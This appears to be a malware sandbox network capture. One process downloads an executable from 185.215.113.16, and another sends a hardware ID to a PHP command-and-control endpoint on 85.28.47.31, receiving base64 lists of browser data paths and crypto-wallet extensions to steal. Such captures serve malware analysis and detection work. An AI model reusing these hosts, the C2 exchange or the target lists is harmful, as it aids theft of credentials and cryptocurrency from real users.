3	192.168.2.6	58984	185.215.113.16	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:07.484245062 CEST	55	OUT	GET /cost/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 13:49:08.232631922 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:08 GMT Content-Type: application/octet-stream Content-Length: 91648 Last-Modified: Fri, 26 Jul 2024 11:16:06 GMT Connection: keep-alive ETag: "66a38576-16600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 9c 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELb@]2V0@\|qpt,.code78 `.textP< `.rdata304@@.data,pD@.rsrcV@@
Jul 26, 2024 13:49:08.232659101 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 ac 00 00 00 68 00 00 00 00 68 10 80 41 00 e8 5c 40 00 00 83 c4 0c 68 00 00 00 00 Data Ascii: hhhA\@hU@AhhhB@A?pA4AICZx}@Ck.pAA?h?<APAP1Phh
Jul 26, 2024 13:49:08.232673883 CEST	1236	IN	Data Raw: 01 00 00 00 68 04 00 00 00 e8 1e c7 00 00 8d 54 24 14 52 68 00 00 00 00 68 05 00 00 00 68 01 00 00 00 68 04 00 00 00 e8 00 c7 00 00 ff 74 24 04 e8 ad 86 00 00 8b 44 24 50 eb 02 31 c0 ff 34 24 e8 6d ca 00 00 50 ff 74 24 10 e8 30 c8 00 00 ff 74 24 Data Ascii: hT$Rhhhht$D$P14$mPt$0t$'X@_[]US$JuA2\|AuhAt1!&pAP5AB$D$$;D$RZPRZPfpAP
Jul 26, 2024 13:49:08.232880116 CEST	1236	IN	Data Raw: 00 c7 04 24 00 00 00 00 eb 00 b8 03 00 00 00 3b 04 24 7c 64 a1 34 80 41 00 0f be 00 89 44 24 04 ff 05 34 80 41 00 52 e8 e2 c4 00 00 5a 50 52 e8 da c4 00 00 5a 50 8b 5c 24 0c 6b db ff 53 e8 0b 44 00 00 8d 44 24 0c 50 e8 01 c5 00 00 8b 54 24 0c 52 Data Ascii: $;$\|d4AD$4ARZPRZP\$kSDD$PT$RZPROT$RED$P$qhD$RZPRzZPID$Pt$h$pAPt$ k6RKZPRCZPt$xxAPl5xA5xA
Jul 26, 2024 13:49:08.232897043 CEST	1236	IN	Data Raw: ff 74 24 10 e8 01 c1 00 00 83 c4 18 5b 5d c3 53 31 c0 50 50 e8 61 c1 00 00 ff 74 24 14 e8 38 33 00 00 52 e8 12 c0 00 00 5a 50 52 e8 0a c0 00 00 5a 50 e8 1b 78 00 00 8d 44 24 04 50 e8 39 c0 00 00 ff 34 24 e8 d8 34 00 00 8b 5c 24 10 21 db 7e 49 52 Data Ascii: t$[]S1PPat$83RZPRZPxD$P94$4\$!~IRZPMD$P$RZPRa*pARVT$RLD$P$RZPR/D$PT$R{ZPRXP\2Zf4$%t$[
Jul 26, 2024 13:49:08.232917070 CEST	1236	IN	Data Raw: 00 5a 50 52 e8 5d bb 00 00 5a 50 ff 74 24 1c e8 32 3d 00 00 e8 4f 2e 00 00 01 14 24 e8 c5 ad 00 00 8d 44 24 10 50 e8 7b bb 00 00 ff 74 24 0c 8b 54 24 04 59 e8 cd 2d 00 00 75 59 52 e8 25 bb 00 00 5a 50 68 10 00 00 00 52 e8 18 bb 00 00 5a 50 52 e8 Data Ascii: ZPR]ZPt$2=O.$D$P{t$T$Y-uYR%ZPhRZPRZP5Aht$j45dA-T$j-hhT$RZPRTXP-Zft$et$\4$Tt$K[S
Jul 26, 2024 13:49:08.233406067 CEST	776	IN	Data Raw: 2c 68 0a 00 00 00 ff 74 24 2c ff 35 54 80 41 00 e8 d9 28 00 00 89 44 24 30 83 7c 24 2c 00 0f 84 bd 00 00 00 ff 74 24 2c ff 35 54 80 41 00 e8 97 fe ff ff 89 44 24 34 ff 74 24 34 e8 c1 1e 00 00 99 52 50 8f 44 24 08 8f 44 24 08 8b 15 50 80 41 00 52 Data Ascii: ,ht$,5TA(D$0\|$,t$,5TAD$4t$4RPD$D$PAR;ZPRlAR\$$-AkURD$<PE5HAD$Pt$<Ot$t$t$<t$D[Au\$ -Akut$<{~\|$0$t$05T
Jul 26, 2024 13:49:08.233567953 CEST	1236	IN	Data Raw: 00 00 01 54 24 04 e8 bf 6d 00 00 e8 9a 26 00 00 ff 35 a8 80 41 00 e8 e3 79 00 00 8b 54 24 38 52 e8 65 b3 00 00 5a 50 52 e8 fd b4 00 00 8b 2d ac 80 41 00 8d 45 08 50 e8 8e b3 00 00 ff 44 24 20 0f 81 17 fc ff ff ff 74 24 34 e8 3b 70 00 00 52 e8 35 Data Ascii: T$m&5AyT$8ReZPR-AEPD$ t$4;pR5ZPR-ZPR%ZPARP558A&T$=m&s1t$$t$(t$84$D[]U$Ju$P%,$f}
Jul 26, 2024 13:49:08.233602047 CEST	1236	IN	Data Raw: 68 08 00 00 00 8d 44 24 20 50 e8 47 a1 00 00 e8 a4 21 00 00 01 14 24 e8 ca 2e 00 00 58 50 e8 83 21 00 00 5a 01 d0 eb 0a e8 b9 b0 00 00 66 c7 00 00 00 83 c4 10 5b c3 31 c0 50 50 50 50 50 50 e8 b2 af 00 00 52 e8 6c ae 00 00 5a 50 52 e8 64 ae 00 00 Data Ascii: hD$ PG!$.XP!Zf[1PPPPPPRlZPRdZPR\ZPRTZPh5HA?!$e.D$PkR%ZPRZPRZPRZPht$} $ .D$P&4$D$RZPt$ R
Jul 26, 2024 13:49:08.233634949 CEST	1236	IN	Data Raw: ff 74 24 10 e8 a9 aa 00 00 ff 34 24 e8 a1 aa 00 00 ff 74 24 04 e8 98 aa 00 00 ff 74 24 08 e8 8f aa 00 00 ff 74 24 0c e8 86 aa 00 00 83 c4 1c 5b c2 08 00 55 53 31 c0 50 e8 e5 aa 00 00 8b 1d 30 80 41 00 83 fb 01 0f 85 94 00 00 00 ff 35 a8 80 41 00 Data Ascii: t$4$t$t$t$[US1P0A5ANo!~*5AGo5AQot-Aur5Ao$$!~Dhhh5A\:5An5Ant-Au61[]S1P
Jul 26, 2024 13:49:08.239515066 CEST	1236	IN	Data Raw: 8d 44 24 18 50 e8 44 a5 00 00 52 e8 fe a4 00 00 5a 50 52 e8 f6 a4 00 00 5a 50 52 e8 ee a4 00 00 5a 50 52 e8 e6 a4 00 00 5a 50 68 03 00 00 00 ff 74 24 24 e8 56 97 00 00 e8 d3 17 00 00 01 14 24 e8 f9 24 00 00 8d 44 24 1c 50 e8 ff a4 00 00 52 e8 b9 Data Ascii: D$PDRZPRZPRZPRZPht$$V$$D$PRZPRZPRZPRZPht$,$$D$ PRtZPRlZPRdZPR\ZPht$0I$o$D$$PuR/ZPht$(v:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	58985	85.28.47.31	80	3152	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:08.112955093 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 13:49:08.739470959 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:08.742399931 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGD Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 41 31 44 41 37 38 35 35 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="hwid"8DA1DA7855D72284582127------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="build"sila------BAKFBKEHDBGHJJKFIEGD--
Jul 26, 2024 13:49:08.935412884 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 57 4d 7a 4d 7a 67 7a 4e 54 4d 30 4e 7a 67 79 4d 44 46 6c 4d 44 45 35 4d 6d 5a 6d 4d 6d 46 69 5a 57 4e 69 5a 57 59 33 4f 54 6b 79 59 54 4e 6b 4d 44 4d 77 4e 47 56 69 4e 54 55 77 5a 6a 6b 79 4d 7a 59 32 5a 57 56 6b 4d 7a 4e 6c 5a 57 4d 30 4d 54 42 6c 5a 6d 5a 6c 4e 44 51 78 4e 44 4a 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 78 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZWMzMzgzNTM0NzgyMDFlMDE5MmZmMmFiZWNiZWY3OTkyYTNkMDMwNGViNTUwZjkyMzY2ZWVkMzNlZWM0MTBlZmZlNDQxNDJjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwxfHlibmNiaHlsZXBtZXw=
Jul 26, 2024 13:49:08.950980902 CEST	466	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJ Host: 85.28.47.31 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="message"browsers------DBGHJEBKJEGHJKECAAKJ--
Jul 26, 2024 13:49:09.130961895 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 26, 2024 13:49:09.131012917 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 26, 2024 13:49:09.132899046 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 33 33 38 33 35 33 34 37 38 32 30 31 65 30 31 39 32 66 66 32 61 62 65 63 62 65 66 37 39 39 32 61 33 64 30 33 30 34 65 62 35 35 30 66 39 32 33 36 36 65 65 64 33 33 65 65 63 34 31 30 65 66 66 65 34 34 31 34 32 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"ec338353478201e0192ff2abecbef7992a3d0304eb550f92366eed33eec410effe44142c------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="message"plugins------JJJJEBGDAFHJEBGDGIJD--
Jul 26, 2024 13:49:09.311592102 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 26, 2024 13:49:09.311665058 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Jul 26, 2024 13:49:09.311702013 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Jul 26, 2024 13:49:09.311932087 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Jul 26, 2024 13:49:09.311965942 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Jul 26, 2024 13:49:09.312001944 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
